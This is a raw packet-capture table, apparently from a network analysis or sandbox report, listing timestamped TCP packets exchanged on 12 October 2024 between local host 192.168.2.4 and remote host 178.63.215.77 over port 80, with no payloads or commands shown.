Oct 12, 2024 14:17:05.172175884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172199965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172209024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172219038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172267914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172454119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172512054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172517061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172549963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172574997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172593117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172600031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172631979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172657013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172672033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172677994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172719955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172729015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172755003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172779083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172802925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172806025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172854900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172859907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172888041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172911882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172920942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172945023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172962904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172970057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173003912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173027039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173033953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173046112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173083067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173094034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173115015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173140049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173146963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173160076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173178911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173198938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173213005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173226118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173249960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173260927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173300028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173315048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173361063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173382044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173413992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173440933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173460960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173463106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173496008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173510075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173527956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173548937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173559904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173568010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173590899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173615932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173624039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173635006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173655033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173680067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173696041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173705101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173754930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173754930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173788071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173810959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173819065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173829079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173856020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173877954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173887014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173914909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173919916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173935890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173950911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173966885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.173985004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.173990965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174015999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174030066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174048901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174061060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174088001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174097061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174120903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174144983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174151897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174160957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174185038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174206972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174216032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174232006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174249887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174273014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174282074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174294949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174318075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174324036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174349070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174365044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174381971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174395084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174426079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174448013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174479961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174504995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174511909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174520016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174544096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174567938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174572945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174588919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174604893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174616098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174638033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174660921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174669981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174685001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174701929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174707890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174735069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.174750090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.174777031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180164099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180214882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180224895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180248976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180272102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180290937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180435896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180485010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180491924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180516958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180541039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180558920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180566072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180613995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180615902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180648088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180674076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180680037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180701971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180711031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180718899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180742979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180766106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180774927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180784941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180807114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180825949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180838108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180850029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180871010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180883884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180918932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.180927038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180968046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.180974007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.181005001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.181030035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.181037903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.181045055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.181070089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.181094885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.181113958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243691921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243733883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243762970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243767977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243788958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243799925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243813992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243833065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243848085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243865013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243879080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243901014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.243911028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.243948936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251477957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251507998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251538038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251553059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251610994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251642942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251668930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251677036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251688957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251708984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251722097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251743078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.251763105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.251785994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.252810001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.252867937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260310888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260370970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260442019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260471106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260495901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260504007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260514975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260536909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260549068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260569096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260581970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260601997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260622978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260632992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260648012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260684013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260719061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260771036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260788918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260803938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260818005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260850906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260853052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260885000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260909081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260915995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260922909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260947943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260968924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.260979891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.260987997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261028051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261111021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261142969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261172056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261173964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261195898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261204958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261226892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261239052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261261940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261271000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261281013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261301994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261322021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261342049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261399984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261432886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261462927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261464119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261488914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261506081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261513948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261563063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261563063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261596918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261620998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261640072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261643887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261692047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261715889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261723042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261730909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261756897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261769056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261789083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261796951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261821985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261850119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261852026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261868000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261890888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261904955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261935949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261944056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.261967897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.261991978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262005091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262029886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262037039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262059927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262078047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262087107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262120008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262130022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262150049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262161016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262182951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262192011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262213945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262238026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262263060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262271881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262294054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262315989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262336016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262343884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262375116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262396097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262418985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262469053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262499094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262510061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262531042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262538910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262561083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262576103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262605906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262609959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262643099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262658119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262681007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262691975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262725115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262739897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262757063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262764931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262788057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262811899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262820959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262830019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262856960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262866020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262888908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262913942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262921095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262932062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262952089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.262969017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.262983084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263010979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263015032 CEST	80	49730	178.63.215.77	192.168.2.4
